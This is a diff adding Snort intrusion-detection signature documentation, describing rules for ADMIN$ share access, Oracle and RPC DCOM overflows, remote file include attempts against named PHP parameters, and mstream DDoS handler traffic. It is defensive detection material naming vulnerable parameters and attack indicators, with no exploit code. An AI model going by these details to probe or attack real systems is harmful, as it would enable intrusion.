+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2784.txt
+++ snort-2.8.5.2/doc/signatures/2784.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2784
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_update_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3434.txt
+++ snort-2.8.5.2/doc/signatures/3434.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3434
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2016.txt
+++ snort-2.8.5.2/doc/signatures/2016.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2016
+
+--
+Summary:
+Remote Procedure Call (RPC) is a facility that enables a machine to 
+request a service from another remote machine. This is done without the 
+request for available services on a host.
+
+--
+Impact:
+This may be an intelligence gathering activity that could be the prelude
+to an attack against a vulnerable service on the host.
+
+--
+Detailed Information:
+This RPC status request returns information pertaining to available RPC 
+services running on a host. This is not an attack against a host by 
+itself but may be an intelligence gathering activity in prelude to an 
+attack against a vulnerable service running on a target host.
+
+--
+Affected Systems:
+All machines running RPC services.
+
+--
+Attack Scenarios:
+The attacker merely needs to request information about services being 
+offered on a target machine using "rpcinfo" for example.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+When seen on a local area network a legitimate rpcinfo request will 
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+Disable all RPC services where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats:
+http://www.whitehats.com/info/IDS15/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000504.txt
+++ snort-2.8.5.2/doc/signatures/100000504.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000504
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Nucleus CMS" application running on a webserver. 
+Access to the file "media.php" using a remote file being passed as the 
+"DIR_LIB" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DIR_LIB" parameter in the "media.php" script used by 
+the "Nucleus CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Nucleus CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/282.txt
+++ snort-2.8.5.2/doc/signatures/282.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+
+282
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of 
+Service (DoS) attack against a host running Arkiea backup software.
+
+--
+Impact:
+Denial of Service
+
+--
+Detailed Information:
+
+Arkiea package is a backup application that is used to manage backups 
+for a number of systems. A Denial of Service (DoS) vulnerability
+exists in nlservd program, if fed with large inputs, will cause a 
+program to crash.
+
+A vulnerability in the nlservd from the Arkiea backup application allows
+remote users to shut it down by sending it large amounts of input over 
+the network.
+
+--
+Affected Systems:
+
+	Arkeia 4.0
+	Arkeia 4.1	
+
+--
+Attack Scenarios:
+
+An attacker sends a overly large strings to a nlservd daemon, the 
+service will crash immediately.
+
+--
+Ease of Attack:
+
+Simple.
+
+--
+False Positives:
+
+None known
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+ 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Paul Bobby paul.bobby@lmco.com
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/662
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1155.txt
+++ snort-2.8.5.2/doc/signatures/1155.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1155
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1117.txt
+++ snort-2.8.5.2/doc/signatures/1117.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1117
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1431.txt
+++ snort-2.8.5.2/doc/signatures/1431.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 1431
+
+--
+Summary:
+This event is generated when packets with the SYN flag set are sent to 
+multicast addresses.
+
+--
+Impact:
+Possible reconnaisance or evidence of a Denial of Service (DoS) attack.
+
+--
+Detailed Information:
+Under normal circumstances packets with the SYN flag set should not be 
+sent to multicast addresses.
+
+If the attacker has spoofed a multicast address when sending a SYN flood
+attack this traffic will be seen.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker may have intiated an attack and could have spoofed a 
+multicast address as the source.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ filtering at the firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1987.txt
+++ snort-2.8.5.2/doc/signatures/1987.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1987
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw in the
+X Windows Font Service.
+
+--
+Impact:
+Arbitrary code execution. Denial of Service.
+
+--
+Detailed Information:
+Certain versions of XFS distributed with Sun's Solaris are vulnerable to
+a remote buffer overflow. The Dispatch() routine within fs.auto does not
+provide adequate bounds-checking.
+
+--
+Affected Systems:
+	Sun Solaris 2.5.1 to 9 (Update 2)
+
+--
+Attack Scenarios:
+An attacker must have access to tcp port 7100. The attacker can then 
+either cause XFS to crash or run code as user "nobody".
+
+--
+Ease of Attack:
+Difficult
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable XFS in the inetd configuration file (normally /etc/inetd.conf 
+under line fs.auto).
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11188
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1317
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1315.txt
+++ snort-2.8.5.2/doc/signatures/1315.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1315
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "hot young sex".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "hot young sex".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1083.txt
+++ snort-2.8.5.2/doc/signatures/1083.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1083
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000639.txt
+++ snort-2.8.5.2/doc/signatures/100000639.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000639
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_import.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_import.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000358.txt
+++ snort-2.8.5.2/doc/signatures/100000358.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000358
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BASE" application running on a webserver. Access to the file "base_include.inc.php" using a remote file being passed as the "BASE_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "BASE_path" parameter in the "base_include.inc.php" script used by the "BASE" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BASE
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000583.txt
+++ snort-2.8.5.2/doc/signatures/100000583.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000583
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_view_registered_only.php" using a remote file being 
+passed as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_view_registered_only.php" script used by the "Indexu" application running 
+on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2175.txt
+++ snort-2.8.5.2/doc/signatures/2175.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/243.txt
+++ snort-2.8.5.2/doc/signatures/243.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+243
+
+--
+Summary:
+This event is generated when the mstream DDoS tool is used.
+
+--
+Impact:
+Severe. This indicates a host may have been compromised and mstream may have been installed.  
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack. An agent will attempt to contact its known handlers using a UDP packet to destination port 6838 with a string of "newserver" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes a mstream agent, it will attempt to communicate with its known handlers.
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There may be ports other than 6838 used for agent-to-handler communications.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+NAI:
+http://vil.nai.com/vil/content/v_98662.htm
+SecurityFocus:
+http://www.securityfocus.com/archive/82/58040
+CERT:
+http://www.cert.org/incident_notes/IN-2000-05.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1465.txt
+++ snort-2.8.5.2/doc/signatures/1465.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1465
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000598.txt
+++ snort-2.8.5.2/doc/signatures/100000598.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000598
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_delete.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1058.txt
+++ snort-2.8.5.2/doc/signatures/1058.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1058
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/421.txt
+++ snort-2.8.5.2/doc/signatures/421.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+421
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Registration Reply datagram.
+
+--
+
+Impact:
